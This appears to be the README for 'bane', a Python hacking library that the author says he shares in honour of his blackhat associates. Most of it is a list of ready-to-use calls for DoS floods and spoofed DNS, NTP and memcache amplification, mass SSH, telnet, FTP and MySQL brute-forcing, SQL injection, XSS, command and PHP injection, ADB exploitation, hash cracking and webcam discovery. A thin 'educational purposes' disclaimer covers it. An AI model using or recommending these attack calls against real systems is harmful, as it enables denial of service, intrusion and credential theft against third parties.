"Oh, you think darkness is your ally. But you merely adopted the dark; I was born in it, molded by it. I didn't see the light until I was already a man, by then it was nothing to me but BLINDING! The shadows betray you, because they belong to me!" -Bane (Dark Knight)
.///` `.--::::::---.`` `///.
h-.-s+++/--<br>.---/+o++s:.-h
++..-. `:../s
-+ydm-..: :..-dmho:`
:odmNNNNs..-. `:..+MNNNmmy/. `
.odmNNNNMMMN`..: -..`mMMMMNNNNmy:
+mNNNNMMMMMMMo`.:` :``/MMMMMMMMNNNmy.
.yNNNNMMMMMMMMMd` `-<br>```````..-` `yMMMMMMMMMMNNNd:
-dNNNMMMMMMMMMMMN` ..-` `-`- mMMMMMMMMMMMMNNmo
:mNNNMMMMMMMMMMMMM: . `.` -MMMMMMMMMMMMMMNNNs`
/mNNNMMMMMMMMMMMMMMy --- .-- oMMMMMMMMMMMMMMMNNNy`
:mNNNMMMMMMMMMMMMMMMN```:.````````.:```dMMMMMMMMMMMMMMMMNNNy`
-mNNNNMMMMMMMMMMMMMMMMo`.-` `-.`+MMMMMMMMMMMMMMMMMNNNNo
hNNNNNMMMMMMMMMMMMMMMMm.``- .``.dMMMMMMMMMMMMMMMMMMNNNm-
-NNNNNMMMMMMMMMMMMMMMMMM-..: -<br>NMMMMMMMMMMMMMMMMMMNNNNs
oNNNNNMMMMMMMMMMMMMMMMMMo``.` -` +MMMMMMMMMMMMMMMMMMMNNNNm
:dNNNNNNMMMMMMMMMMMMMMMMMd<br>-``````<br>.hMMMMMMMMMMMMMMMMMMMNNNNNs.
.ssmNNNNNNMMMMMMMMMMMMMMMMMM.``/:. .-/```NMMMMMMMMMMMMMMMMMMNNNNNNyy+` `
`oy: mNNNNNNMMMMMMMMMMMMMMMMMM/``-` `-``:MMMMMMMMMMMMMMMMMMMNNNNNN/`+y: `
+y` dNNNNNNMMMMMMMMMMMMMMMMMMy..-:- --:..oMMMMMMMMMMMMMMMMMMMNNNNNN: -N`
m- hNNNNNNMMMNdhhyyhddmMMMMMd```:.``.:```hMMMMNdhso++++shmNMMMNNNNN: yo `
/d yNNNNNMMh/-````````.-/ydNM.``- -```NNds:.`..-----..-sNMMNNNNN- -m`
h+ sNNNNNMMmsyhddmmmdhs:` `-o/../` `/-.:+-` `:yhddmNNNNmmNMMMNNNNN. d/
m/ oNNNNNMMMMMMMNdyssoooo:` `:..``.+```.-. :o++//+yydMMMMMMMMNNNNN` .so
d-- /NNNNNNMMMMMmyhm// ymy.`- o `- odm:- .ddssNMMMMMNNNNNm /:s
.h / :NNNNNNNMMMmhshhy+++ohy/. .: `o` `/``-shysssyddddNMMMMNNNNNNd --.h
-y `: .NNNNNNNMMMMMMMMNNmmmhys/:.`..``.``..`-:syhhdmNNMMMMMMMMMMNNNNNy / `d
:s :` dNNNNNMMMMMMMMMNNNmmNNh- `.` `.` `+mMNNNNNMMMMMMMMMMNNNNN+ :` m `
/o /` oNNNNMMMMMMMMMMMMMMmd+.. `.:- -` - -:.. -sddmNMMMMMMMMMMMMNNNm. .: m `
++ `:``dNNNMMMMMMMMMMMNo+/.`./-. o` --` o `-/.``/+omMMMMMMMMMMNNNo .: d` `
-h `:`:mNNMMMMMMMMMMd-.+.+--:.`.+.-.::.-./-`.:--/:+..hMMMMMMMMMNNh`.: -h `
s: `:`+mNMMMMMMMMMm- `/:` o/://++:++++:+/+/:/o``:+` .mMMMMMMMMNd..: y-
.h `:`/hNMMMMMMd+: -::<br>s-:+`.+:+-.+:+:`/:-+:-.-:- :NMMMMMMNy.-- :y
o/ ` `:``:ymMNh:`- /:-+`o::/` +:/. +:+` /::o./--+ /omMNdo- -- ` h.
`d` `+.` :.` -s: -` ./:::`/::/ +-/. +-+` :::/`-:::- `-`++.``-. `-+ :s
o+ /`-:``.-. `- /--/ /:-: +-/. +-+ :-:+ /--/ .. `--. .:..: h.
`d` :` +h+. - `+-:: .+-:+..-+://-+:+-../:-+-`-:-/. -` -yd. / /s
o+ `:. -ydo. -` //::..o/-:o:.//:/++/:/+.:+/-/+: /::o : :yd+``-- d.
`d .:. -sy .. .o--+ -.+-.`.-/<br>:/<br>/--`.-+.: +--o- `/d+``--`:s
s/ .:` :.:```-o--o.-.:-` `:/ .: /:` `-/ / s:-o-```+``.-` h.
.h -:`/.///`/..`:-.:`<br> <br><br><br>. <br>`: /--../ //:o.:.-y
s: -o/::/:--.-.-.: : /`:.---/::+. y-
`h. ``/. `/ ` -.:``` <br><br>..` ```: / ` :` ./. +o
.y. -.-- -.:.``- -```::```: ..`./ : .-.-` /s
.y- -.:```: :/::o+/::/ : ``: : `+o
`s+` -..- -.o/:/: `+::+//:+. -/::o`: ..`-` .s/
:s- ./- `- -.o//o. /:::-::+ `o//o : -` ./.`+o.
`/o:+..+`.` -.://+<br>+--//:-+<br>////`: `../-.ss-
/h /` ..-` .-o/+:..+--//:-+..-o/+:.` `-.- `+ y-
o+``.-+-.::<br>o//o- /--::--+ .o//s<br>:/.-//:``:s
-o:```.//: :+::+.o--oo:-o.+::+/ :/o.```:o:
-o++oy.: .- /`o::oo:-+-/ -- /o++++o:
`os .. /..//../ ..` `s:
`o+. `:`:-.-. `.++-
`/+/.` `. .` `-++:`
`:+++/:-<br>-:+++/-
`.-::--`
`
INTRODUCTION:
This python library is made for educationnal purposes only. Me, as the creator and developper, not responsible for any misuse for this module in any malicious activity. it is made as a tool to understand how hackers can create their tools and performe their attacks. it contains most of known attacks and exploits. it can be used to perform: DoS and DDoS attacks (all known tools are included), information gathering, scrapping proxies, crawling, google dorking, checking for vulnerabilities (sql injection (all types), xss, command execution, php code injection, FI, forced browsing
) and even more ;)
SPECIAL SPEECH:
this is dedicated to my mentor: Zachary Barker ( https://www.facebook.com/zachary.barker.5439 ), he was my leader and teacher through my journey in hacking world and groups, we have been through a lot together and were there in many operations when i was an active member in blackhat community but now he is dead in a hit-and-run :( . he was one of my true cyber bros:
-S0u1 ( https://www.facebook.com/S0u1.HLoTW ) : programmer and blackhat.
-Vince ( https://www.facebook.com/vincelinux ) : Linux and hardware expert, social engeneering and programmer.
-Zachary Barker (lulz zombie) : teams leader, anarkist, ops organizer, progammer, cyber security expert and blackhat.
-Lulztigre (https://www.twitter.com/lulztigre) : Bug Bounty Hunter, Penetration Tester And Python Programmer.
-Jen Hill.
in the honor of all my bros and the memory of my bro zach im sharing all my personal hacking tools with public for the first time. plz use it wisely :)
now let's start some tutorials, shall we?
TUTORIALS:
you can use pip to do that ( if you are on linux you must run it with "sudo" ) :
pip install bane
or you can clone the project's link then run setup.py
git clone https://github.com/AlaBouali/bane
cd bane
python setup.py install
to import it you just do:
import bane
bane.udp_flood(IP, p= port , min_size=10, max_size=20 , duration= 300 , interval=0.001)
bane.tcp_flood(IP, p= port , min_size=10, max_size=20 , duration= 300 , interval=0.001 , threads=500, timeout=5)
bane.http_flood(IP, p= port , duration= 300 ,interval=0.001 , threads=500 , timeout=5)
bane.prox_http_flood(IP, p= port , duration= 300 ,interval=0.001 , threads=500 , timeout=5)
bane.torshammer(IP, p= port , duration= 300 ,set_tor=False , threads=500 , timeout=5)
bane.prox_hammer(IP, p= port , duration= 300 , threads=500 , timeout=5)
bane.rudy(IP, p= port , duration= 300 ,set_tor=False , threads=500 , timeout=5 , form="q" , page="/search.php")
bane.xerxes(IP, p= port , duration= 300 ,set_tor=False , threads=500 , timeout=5 )
bane.prox_xerxes(IP, p= port , duration= 300 , threads=500 , timeout=5 )
bane.slow_read(IP, p= port , duration= 300 , set_tor=False , threads=500 , timeout=5 )
bane.prox_slow(IP, p= port , duration= 300 , set_tor=False , threads=500 , timeout=5 )
bane.apache_killer(IP, p= port , duration= 300 , set_tor=False , threads=500 , timeout=5 )
bane.slowloris(IP, p= port , duration= 300 , set_tor=False , threads=50 , timeout=5 )
bane.prox_slowloris(IP, p= port , duration= 300 , threads=500 , timeout=5 )
bane.hulk(IP , duration= 300 , set_tor=False , threads=500 , timeout=5 )
bane.prox_hulk(IP , duration= 300 , set_tor=False , threads=500 , timeout=5 )
bane.synflood(IP , p=port , duration= 300 , syn=1 , rst=0 , psh=0 , ack=0 , urg=0 , fin=0 , interval=0.1 , threads=50 )
bane.spoofed_udp_flood(IP , p=port , duration= 300 , min_size=10 , max_size=20 , interval=0.1 , threads=50 )
bane.land(IP , p=port , duration= 300 , min_size=10 , max_size=20 , interval=0.1 , threads=50 )
bane.dns_amplification(IP , p=port , duration= 300 , servers=[] , interval=0.1 , threads=50 )
bane.ntp_amplification(IP , p=port , duration= 300 , servers=[] , interval=0.1 , threads=50 )
bane.memcache_amplification(IP , p=port , duration= 300 , servers=[] , interval=0.1 , threads=50 )
bane.chargen_amplification(IP , p=port , duration= 300 , servers=[] , interval=0.1 , threads=50 )
bane.ssdp_amplification(IP , p=port , duration= 300 , servers=[] , interval=0.1 , threads=50 )
bane.snmp_amplification(IP , p=port , duration= 300 , servers=[] , interval=0.1 , threads=50 )
bane.echo_reflection(IP , p=port , min_size=10 , max_size=20 , duration= 300 , servers=[] , interval=0.1 , threads=50 )
bane.icmp_flood(IP, p= port , min_size=10, max_size=20 , duration= 300 , interval=0.001 , threads=500 )
bane.spoofed_icmp_flood(IP, p= port , min_size=10, max_size=20 , duration= 300 , interval=0.001 , threads=500 )
bane.blacknurse(IP, p= port , duration= 300 , interval=0.001 , threads=500 )
bane.goldeneye(IP, p= port , duration= 300 , threads=500 , timeout=5 )
bane.doser(link , duration= 300 , set_tor=False , threads=500 , timeout=5 )
bane.doser(link , duration= 300 , threads=500 , timeout=5 )
bane.cf_kill_ua(link , duration= 300 , threads=500 , timeout=5 )
bane.cf_kill_ua_rate_limiting(link , duration= 300 , set_tor=False , threads=500 , timeout=5 )
bane.wp_users_list(link , timeout=15 )
bane.wp_user(link , user=user_id , timeout=15 )
bane.wp_posts_list(link , timeout=15 )
bane.wp_post(link , post=post_id , timeout=15 )
bane.wp_users_enumeration(link , timeout=15 )
bane.wp_version(link , timeout=15 )
bane.wp_scan(link , timeout=15 )
bane.sqli_error_based(link , timeout=15 )
bane.sqli_boolean_based(link , timeout=15 )
bane.sqli_time_based(link , timeout=15 )
bane.xss_get(link , {"q" : "<script>alert(123)</script>"}, extra={"Submit" : "Submit"} , timeout=15 )
bane.xss_post(link , {"q" : "<script>alert(123)</script>"}, extra={"Submit" : "Submit"} , timeout=15 )
bane.xss(link , payload="<script>alert(123)</script>" , timeout=15 )
bane.command_exec_link(link , timeout=15 )
bane.command_exec_get(link,param="q" , timeout=15 )
bane.command_exec_post(link,param="q" , timeout=15 )
bane.php_code_inject_link(link , timeout=15 )
bane.php_code_inject_get(link,param="q" , timeout=15 )
bane.php_code_injectc_post(link,param="q" , timeout=15 )
bane.file_inclusion(link, timeout=15 )
bane.headers_timeout_test(IP , port=80, max_timeout=30 )
bane.slow_get_test(IP , port=80, duration=180 )
bane.max_connections_limit(IP , port=80, connections=150 , duration=180 )
bane.slow_post_test(IP , port=80, duration=180 )
bane.slow_read_test(IP , port=80, duration=180 )
bane.adb_exploit(IP , timeout=5 )
bane.exposed_telnet(IP , timeout=5 )
bane.masshttp()
bane.massocks4()
bane.massocks5()
bane.http()
bane.https()
bane.socks4()
bane.socks5()
bane.proxy_check(IP , port , proto="http" , timeout=5)
bane.mass_ssh(threads=100 , word_list= ["root:root","admin:admin"] )
bane.mass_telnet(threads=100 , word_list= ["root:root","admin:admin"] )
bane.mass_telnet(threads=100 , word_list= ["root:root","admin:admin"] )
bane.mass_exposed_telnet(threads=100 )
bane.mass_ftp(threads=100 , word_list= ["root:root","admin:admin"] )
bane.mass_ftp_anon(threads=100 )
bane.mass_smtp(threads=100 , word_list= ["root:root","admin:admin"] )
bane.mass_mysql(threads=100 , word_list= ["root:root","admin:admin"] )
bane.mass_mysql_default(threads=100 )
bane.mass_adb(threads=100 )
bane.inputs(link , value=True , timeout=10 )
bane.forms(link , value=True , timeout=10 )
bane.loginform(link , value=True , timeout=10 )
bane.crawl(link , timeout=10 )
bane.pather(link , timeout=10 )
bane.media(link , timeout=10 )
bane.subdomains_extract(link , timeout=10 )
bane.get_banner(IP , p=port , payload=None , timeout=5 )
bane.info(IP , timeout=15 )
bane.norton_rate(link , timeout=15 )
bane.myip()
bane.who_is( domain )
bane.geoip( IP )
bane.headers( link )
bane.reverse_ip_lookup( IP )
bane.resolve( domain , server="8.8.8.8" )
bane.port_scan( IP , ports=[21,22,23,25,43,53,80,443,2082,3306] , timeout=5 ).result
bane.subdomains_finder( domain )
bane.xor_hash( data, key )
bane.caesar_hash( data, key )
bane.md5_hash( data )
bane.sha1_hash( data )
bane.sha224_hash( data )
bane.sha256_hash( data )
bane.sha384_hash( data )
bane.sha512_hash( data )
bane.base64_encode( data )
bane.base64_decode( data )
bane.xor_file( file , key )
bane.md5_file( file )
bane.sha1_file( file )
bane.sha224_file( file )
bane.sha256_file( file )
bane.sha384_file( file )
bane.sha512_file( file )
bane.base64_encode_file( file )
bane.base64_decode_file( file )
bane.decrypt(hash , word_list=["admin","admin123","love"] , md5_hash=True )
bane.decrypt(hash , word_list=["admin","admin123","love"] , sha1_hash=True )
bane.decrypt(hash , word_list=["admin","admin123","love"] , sha224_hash=True )
bane.decrypt(hash , word_list=["admin","admin123","love"] , sha256_hash=True )
bane.decrypt(hash , word_list=["admin","admin123","love"] , sha384_hash=True )
bane.decrypt(hash , word_list=["admin","admin123","love"] , sha512_hash=True )
bane.decrypt(hash , word_list=["admin","admin123","love"] , base64_hash=True )
bane.decrypt(hash , word_list=["admin","admin123","love"] , caesar_hash=True )
bane.admin_brute_force(link , word_list=["admin:admin","admin:1234"] , timeout=15 )
bane.hydra(IP , protocol="ftp" , word_list=["admin:admin","admin:1234"] , timeout=5 )
bane.hydra(IP , p=22 , protocol="ssh" , word_list=["admin:admin","admin:1234"] , timeout=5 )
bane.hydra(IP , p=23 , protocol="telnet" , word_list=["admin:admin","admin:1234"] , timeout=5 )
bane.hydra(IP , p=25 , protocol="smtp" , ehlo=False , helo=True , ttls=False , word_list=["admin:admin","admin:1234"] , timeout=5)
bane.hydra(IP , p=3306 , protocol="mysqlt" , word_list=["admin:admin","admin:1234"] , timeout=5 )
bane.hydra(link , protocol="wp" , word_list=["admin:admin","admin:1234"] , timeout=15 )
bane.admin_panel_finder(link , ext="php" , timeout=15 )
bane.force_browsing(link , ext="php" , timeout=15 )
bane.filemanager_finder(link , ext="php" , timeout=15 )
bane.dns_factor( IP , timeout=3 )
bane.ntp_factor( IP , timeout=3 )
bane.memcache_factor( IP , timeout=3 )
bane.chargen_factor( IP , timeout=3 )
bane.ssdp_factor( IP , timeout=3 )
bane.snmp_factor( IP , timeout=3 )
bane.echo_factor( IP , timeout=3 )
bane.tor_switch_no_password( interval=30 , logs=True )
bane.tor_switch_with_password( interval=30 , password=password , p=9051 , logs=True)
bane.update(version=None)
bane.clear_file( file )
bane.create_file( file )
bane.delete_file( file )
bane.read_file( file )
bane.get_cf_cookie( domain , user_agent )
bane.HTB_invitation()
bane.facebook_id( fb_link )
bane.google_dorking( dork )
bane.webhint_report( link )
bane.youtube_search( query )
bane.write_file( data , file )
bane.webcams( count=10 , by={'country':'us'} )
bane.webcams( count=10 , by={'type':'axis'} )
bane.webcams( count=10 , by={'city':'paris'} )
bane.webcams( count=10 , by={'timezone':'+00:00'} )